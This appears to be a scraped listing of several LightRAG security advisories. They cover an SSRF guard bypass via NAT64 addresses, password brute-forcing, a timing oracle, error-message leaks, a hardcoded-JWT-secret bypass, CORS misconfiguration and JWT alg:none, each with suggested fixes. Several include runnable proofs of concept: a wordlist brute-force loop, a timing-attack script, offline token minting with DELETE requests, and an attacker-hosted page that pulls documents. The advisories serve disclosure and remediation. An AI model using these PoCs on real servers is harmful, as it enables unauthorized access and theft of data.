Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

